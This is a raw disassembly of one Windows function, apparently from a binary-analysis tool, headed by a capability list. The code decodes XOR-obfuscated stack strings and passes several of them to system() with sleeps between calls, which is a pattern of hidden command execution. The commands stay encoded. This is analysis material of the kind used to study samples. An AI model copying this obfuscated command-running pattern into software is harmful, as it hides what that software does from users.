Function at 0x140002750
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Get graphical window text
Get system information on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xa08]
sub rsp, 0xae0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x14006f008]
xor rax, rsp
mov qword [rbp + 0x930], rax
xor r15d, r15d
mov dword [rbp - 0x68], r15d
call fcn.140009a40
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f8], xmm0
mov qword [rbp + 0x708], r15
mov qword [rbp + 0x710], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6f8], r15b
movups xmmword [rbp + 0x678], xmm0
mov qword [rbp + 0x688], r15
mov qword [rbp + 0x690], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x678], r15b
test rax, rax
jne 0x140002850
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b90
mov rcx, rax
call fcn.140008100
mov rdx, rax
mov rcx, rbx
call fcn.1400019f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140066b30]
movdqu xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x140066b80]
movdqu xmmword [rbp + 0x1b0], xmm1
mov word [rbp + 0x1c0], reloc.WS2_32.dll_send
mov byte [rbp + 0x1c2], 1
mov rcx, r15
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x1a0], al
inc rcx
cmp rcx, 0x21
jb 0x140002883
mov byte [rbp + 0x1c2], 0
lea r8, [rbp + 0x1a0]
mov edx, 0x2712
mov rcx, rbx
call fcn.14000c280
lea r8, [rbp + 0x6f8]
mov edx, 0x2711
mov rcx, rbx
call fcn.14000c280
lea r8, [0x140002410]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.14000c280
mov rcx, rbx
call fcn.140009b00
mov eax, dword [0x140066900]
mov dword [rbp - 0x6c], eax
mov r12d, 4
lea r13d, [r12 + 0x1b]
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400029df
cmp r14d, 2
jl 0x14000299a
movdqa xmm3, xmmword [0x140066aa0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140066c20]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140066c20]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140066ac0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140066bc0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x6c], xmm2
jmp 0x1400029df
lea r9, [rbp - 0x6c]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r12d
jl 0x1400029b0
lea rcx, [rbp - 0x6c]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400029f0
lea rcx, [rbp + 0x6f8]
mov rbx, qword [rbp + 0x6f8]
mov rsi, qword [rbp + 0x710]
cmp rsi, 0x10
cmovae rcx, rbx
mov rdi, qword [rbp + 0x708]
cmp rdi, rax
jne 0x140007b48
mov r8, rdi
lea rdx, [rbp - 0x6c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007b48
mov eax, dword [0x140066900]
mov dword [rbp - 0x70], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140002b1f
cmp r14d, 2
jl 0x140002ae1
movdqa xmm3, xmmword [0x140066aa0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140066c20]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140066c20]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140066ac0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140066bc0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x70], xmm2
jmp 0x140002b1f
lea r9, [rbp - 0x70]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r12d
jl 0x140002af0
lea rcx, [rbp - 0x70]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002b30
lea rcx, [rbp + 0x6f8]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, rax
jne 0x140002bb5
mov r8, rdi
lea rdx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140002bb5
lea r9, [rbp + 0x6f8]
cmp rsi, 0x10
cmovae r9, rbx
mov rax, qword [rbp + 0x690]
cmp rdi, rax
ja 0x140002ba6
lea rbx, [rbp + 0x678]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x678]
mov qword [rbp + 0x688], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140002bb5
mov rdx, rdi
lea rcx, [rbp + 0x678]
call fcn.140008840
call fcn.140009c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r15
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x530], rdx
mov byte [rbp + 0x518], 0
movdqa xmm0, xmmword [0x140066cb0]
mov dword [rbp + 0x6a8], 0xde9da5f4
mov word [rbp + 0x6ac], 0x7d49
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov r8d, 0x568
mov eax, dword [r8 + rcx]
mov ebx, 0x490
test al, 1
jne 0x140002c86
or eax, 1
mov dword [r8 + rcx], eax
add rcx, rbx
mov byte [rcx + 0x16], 1
lea rax, [rcx + 0x15]
lea rdx, [rbp + 0x6ad]
cmp rcx, rdx
ja 0x140002c5b
lea rdx, [rbp + 0x698]
cmp rax, rdx
jb 0x140002c5b
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x6a8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x6ac]
mov word [rcx + 0x14], ax
jmp 0x140002c72
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x6a8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x6ac]
mov word [rcx + 0x14], ax
lea rcx, [0x140058ec0]
call fcn.140008c88
nop
mov rdx, qword [rbp + 0x530]
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0x16], 0
je 0x140002d15
xor byte [r9], 0x87
xor byte [r9 + 1], 0xcd
xor byte [r9 + 2], 0xdf
xor byte [r9 + 3], 0xb1
xor byte [r9 + 4], 0x31
xor byte [r9 + 5], 0x7d
xor byte [r9 + 6], 0x9f
xor byte [r9 + 7], 0xc5
xor byte [r9 + 8], 0x87
xor byte [r9 + 9], 0xcd
xor byte [r9 + 0xa], 0xdf
xor byte [r9 + 0xb], 0xb1
xor byte [r9 + 0xc], 0x31
xor byte [r9 + 0xd], 0x7d
xor byte [r9 + 0xe], 0x9f
xor byte [r9 + 0xf], 0xc5
xor byte [r9 + 0x10], 0x87
xor byte [r9 + 0x11], 0xcd
xor byte [r9 + 0x12], 0xdf
xor byte [r9 + 0x13], 0xb1
xor byte [r9 + 0x14], 0x31
xor byte [r9 + 0x15], 0x7d
mov byte [r9 + 0x16], 0
mov rdx, qword [rbp + 0x530]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140002d20
cmp rdi, rdx
ja 0x140002d5d
lea rbx, [rbp + 0x518]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x518]
mov qword [rbp + 0x528], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140002d6c
mov rdx, rdi
lea rcx, [rbp + 0x518]
call fcn.140008840
mov edi, r15d
cmp qword [rbp + 0x528], rdi
jbe 0x140002dc4
mov rbx, r15
nop dword [rax + rax]
lea rax, [rbp + 0x518]
cmp qword [rbp + 0x530], 0x10
cmovae rax, qword [rbp + 0x518]
movzx edx, byte [rbx + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008360
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, qword [rbp + 0x528]
jb 0x140002d80
lea rdx, [0x140008520]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [rbp + 0x688]
lea r9, [rbp + 0x678]
cmp qword [rbp + 0x690], 0x10
cmovae r9, qword [rbp + 0x678]
mov rax, qword [rbp + 0x530]
cmp rdi, rax
ja 0x140002e30
lea rbx, [rbp + 0x518]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x518]
mov qword [rbp + 0x528], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140002e3f
mov rdx, rdi
lea rcx, [rbp + 0x518]
call fcn.140008840
mov edi, r15d
cmp qword [rbp + 0x528], rdi
jbe 0x140002e94
mov rbx, r15
nop
lea rax, [rbp + 0x518]
cmp qword [rbp + 0x530], 0x10
cmovae rax, qword [rbp + 0x518]
movzx edx, byte [rbx + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008360
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, qword [rbp + 0x528]
jb 0x140002e50
lea rdx, [0x140008520]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x5dc
mov eax, dword [rdx + rcx]
mov ebx, 0x5c0
test al, 1
jne 0x140002ef2
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x17f
mov dword [rcx + rbx], 0xa60d98ca
mov word [rcx + rbx + 4], 0x69e3
mov byte [rcx + rbx + 6], 0xaa
lea rcx, [0x140058ea0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x140002f2a
xor byte [rcx], 0xa9
xor byte [rcx + 1], 0xf7
xor byte [rcx + 2], 0x61
xor byte [rcx + 3], 0xc9
xor byte [rcx + 4], 0x91
xor byte [rcx + 5], 0x49
xor byte [rcx + 6], 0xcb
xor byte [rcx + 7], 0x7f
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x358
mov eax, dword [rdx + rcx]
mov ebx, 0x348
test al, 1
jne 0x140002f85
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x187
mov dword [rcx + rbx], 0x66ed3e30
mov word [rcx + rbx + 4], 0x4301
mov byte [rcx + rbx + 6], 0x7b
lea rcx, [0x140058e80]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x140002fbd
xor byte [rcx], 0x53
xor byte [rcx + 1], 0x51
xor byte [rcx + 2], 0x81
xor byte [rcx + 3], 9
xor byte [rcx + 4], 0x73
xor byte [rcx + 5], 0x63
xor byte [rcx + 6], 0x19
xor byte [rcx + 7], 0x87
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x440
mov eax, dword [rdx + rcx]
mov ebx, 0x530
test al, 1
jne 0x140003018
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x18b
mov dword [rcx + rbx], 0x742526c0
mov word [rcx + rbx + 4], 0x93dd
mov byte [rcx + rbx + 6], 0xde
lea rcx, [0x140058e60]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x140003050
xor byte [rcx], 0xa3
xor byte [rcx + 1], 0x49
xor byte [rcx + 2], 0x49
xor byte [rcx + 3], 0x1b
xor byte [rcx + 4], 0xaf
xor byte [rcx + 5], 0xb3
xor byte [rcx + 6], 0xbd
xor byte [rcx + 7], 0x8b
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2a8
mov eax, dword [rdx + rcx]
mov ebx, 0x208
test al, 1
jne 0x1400030ab
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x1e5
mov dword [rcx + rbx], 0x145b38f2
mov word [rcx + rbx + 4], 0x9f6d
mov byte [rcx + rbx + 6], reloc.WLDAP32.dll_Ordinal_27
lea rcx, [0x140058e40]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x1400030e3
xor byte [rcx], 0x91
xor byte [rcx + 1], 0x57
xor byte [rcx + 2], 0x37
xor byte [rcx + 3], 0x7b
xor byte [rcx + 4], 0x1f
xor byte [rcx + 5], 0xbf
xor byte [rcx + 6], 0x7f
xor byte [rcx + 7], 0xe5
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x590
mov eax, dword [rdx + rcx]
mov ebx, 0x5d0
test al, 1
jne 0x14000313e
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x123
mov dword [rcx + rbx], 0xf0f3eea6
mov word [rcx + rbx + 4], 0x9deb
mov byte [rcx + rbx + 6], 0x42
lea rcx, [0x140058e20]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x140003176
xor byte [rcx], 0xc5
xor byte [rcx + 1], 0x81
xor byte [rcx + 2], 0x9f
xor byte [rcx + 3], 0x9f
xor byte [rcx + 4], 0x99
xor byte [rcx + 5], 0xbd
xor byte [rcx + 6], 0x27
xor byte [rcx + 7], 0x23
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3a0
mov eax, dword [rdx + rcx]
mov ebx, 0x518
test al, 1
jne 0x1400031d1
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 7], 0x195
mov dword [rbx + rcx], 0xaaa70c56
mov word [rbx + rcx + 4], 0x255d
mov byte [rbx + rcx + 6], 0xbd
lea rcx, [0x140058e00]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x140003209
xor byte [rcx], 0x35
xor byte [rcx + 1], 0x63
xor byte [rcx + 2], 0xcb
xor byte [rcx + 3], 0xc5
xor byte [rcx + 4], 0x2f
xor byte [rcx + 5], 5
xor byte [rcx + 6], 0xdb
xor byte [rcx + 7], 0x95
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x4a8
mov eax, dword [rdx + rcx]
mov ebx, 0x178
test al, 1
jne 0x140003264
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x19b
mov dword [rcx + rbx], 0x86932c2
mov word [rcx + rbx + 4], 0x610b
mov byte [rcx + rbx + 6], 0xa
lea rcx, [0x140058de0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x14000329c
xor byte [rcx], 0xa1
xor byte [rcx + 1], 0x5d
xor byte [rcx + 2], 5
xor byte [rcx + 3], 0x67
xor byte [rcx + 4], 0x79
xor byte [rcx + 5], 0x41
xor byte [rcx + 6], 0x3b
xor byte [rcx + 7], 0x9b
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x174
mov eax, dword [rdx + rcx]
mov ebx, 0x478
test al, 1
jne 0x1400032f7
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x133
mov dword [rcx + rbx], 0xe0d3f848
mov word [rcx + rbx + 4], 0x4bc9
mov byte [rcx + rbx + 6], 0xa1
lea rcx, [0x140058dc0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x14000332f
xor byte [rcx], 0x2b
xor byte [rcx + 1], 0x97
xor byte [rcx + 2], 0xbf
xor byte [rcx + 3], 0x8f
xor byte [rcx + 4], 0xbb
xor byte [rcx + 5], 0x6b
xor byte [rcx + 6], 0x93
xor byte [rcx + 7], 0x33
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x598
mov eax, dword [rdx + rcx]
mov ebx, 0x140
test al, 1
jne 0x14000338a
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x1ed
mov dword [rcx + rbx], 0xc0d78c66
mov word [rcx + rbx + 4], 0xc7fd
mov byte [rcx + rbx + 6], 0xf2
lea rcx, [0x140058da0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x1400033c2
xor byte [rcx], 5
xor byte [rcx + 1], 0xe3
xor byte [rcx + 2], 0xbb
xor byte [rcx + 3], 0xaf
xor byte [rcx + 4], 0x8f
xor byte [rcx + 5], 0xe7
xor byte [rcx + 6], 0xc1
xor byte [rcx + 7], 0xed
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x290
mov eax, dword [rdx + rcx]
mov ebx, 0x610
test al, 1
jne 0x14000341d
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x173
mov dword [rcx + rbx], 0x1a9f7e8e
mov word [rcx + rbx + 4], 0x7fb3
mov byte [rcx + rbx + 6], 0x3f
lea rcx, [0x140058d80]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x140003455
xor byte [rcx], 0xed
xor byte [rcx + 1], 0x11
xor byte [rcx + 2], 0xf3
xor byte [rcx + 3], 0x75
xor byte [rcx + 4], 0xc1
xor byte [rcx + 5], 0x5f
xor byte [rcx + 6], 0xb
xor byte [rcx + 7], 0x73
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x28c
mov eax, dword [rdx + rcx]
mov ebx, 0x4b0
test al, 1
jne 0x1400034b0
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x17f
mov dword [rcx + rbx], 0x6605bea6
mov word [rcx + rbx + 4], 0x4517
mov byte [rcx + rbx + 6], reloc.WLDAP32.dll_Ordinal_60
lea rcx, [0x140058d60]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x1400034e8
xor byte [rcx], 0xc5
xor byte [rcx + 1], 0xd1
xor byte [rcx + 2], 0x69
xor byte [rcx + 3], 9
xor byte [rcx + 4], 0x65
xor byte [rcx + 5], 0x65
xor byte [rcx + 6], 9
xor byte [rcx + 7], 0x7f
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x214
mov eax, dword [rdx + rcx]
mov ebx, 0x4e0
test al, 1
jne 0x140003543
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x1bb
mov dword [rcx + rbx], 0xb03514ee
mov word [rcx + rbx + 4], 0xdf2b
mov byte [rcx + rbx + 6], 0x63
lea rcx, [0x140058d40]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x14000357a
xor byte [rcx], 0x8d
xor byte [rcx + 1], 0x7b
xor byte [rcx + 2], 0x59
xor byte [rcx + 3], 0xdf
xor byte [rcx + 4], 0x59
not byte [rcx + 5]
xor byte [rcx + 6], 0x55
xor byte [rcx + 7], 0xbb
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x524
mov eax, dword [rdx + rcx]
mov ebx, 0x230
test al, 1
jne 0x1400035d5
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 7], 0x147
mov dword [rbx + rcx], 0xe42d86f0
mov word [rbx + rcx + 4], 0xe901
mov byte [rbx + rcx + 6], reloc.WS2_32.dll_recv
lea rcx, [0x140058d20]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x14000360d
xor byte [rcx], 0x93
xor byte [rcx + 1], 0xe9
xor byte [rcx + 2], 0x41
xor byte [rcx + 3], 0x8b
xor byte [rcx + 4], 0x73
xor byte [rcx + 5], 0xc9
xor byte [rcx + 6], 0x27
xor byte [rcx + 7], 0x47
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2b4
mov eax, dword [rdx + rcx]
mov ebx, 0x548
test al, 1
jne 0x140003668
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x15f
mov dword [rcx + rbx], 0x2a21ec32
mov word [rcx + rbx + 4], 0xa15b
mov byte [rcx + rbx + 6], reloc.WLDAP32.dll_Ordinal_211
lea rcx, [0x140058d00]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x1400036a0
xor byte [rcx], 0x51
xor byte [rcx + 1], 0x83
xor byte [rcx + 2], 0x4d
xor byte [rcx + 3], 0x45
xor byte [rcx + 4], 0x29
xor byte [rcx + 5], 0x81
xor byte [rcx + 6], 0xeb
xor byte [rcx + 7], 0x5f
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x308
mov eax, dword [rdx + rcx]
mov ebx, 0x53c
test al, 1
jne 0x1400036f3
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 3], 0x153
mov word [rcx + rbx], 0x25dc
mov byte [rcx + rbx + 2], 0x4a
lea rcx, [0x140058ce0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x14000371b
xor byte [rcx], 0xbf
xor byte [rcx + 1], 0x49
xor byte [rcx + 2], 0x39
xor byte [rcx + 3], 0x53
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2b8
mov eax, dword [rdx + rcx]
mov ebx, 0x558
test al, 1
jne 0x14000376b
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x13d
mov dword [rcx + rbx], 0x1c597c20
mov word [rcx + rbx + 4], 0x41f9
mov byte [rcx + rbx + 6], 5
lea rcx, [0x140058cc0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 8], 0
je 0x1400037a3
xor byte [rcx], 0x43
xor byte [rcx + 1], 0x13
xor byte [rcx + 2], 0x35
xor byte [rcx + 3], 0x73
xor byte [rcx + 4], 0x8b
xor byte [rcx + 5], 0x61
xor byte [rcx + 6], 0x63
xor byte [rcx + 7], 0x3d
mov byte [rcx + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140066b00]
mov dword [rbp + 0x6c0], 0x818c565a
mov word [rbp + 0x6c4], 0x3cf0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x298
mov eax, dword [rdx + rcx]
mov ebx, 0x3e0
test al, 1
jne 0x14000384f
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rbx
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x6c6]
cmp rcx, rdx
ja 0x140003827
lea rdx, [rbp + 0x6b0]
cmp rax, rdx
jb 0x140003827
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x6c0]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x6c4]
mov word [rcx + 0x14], ax
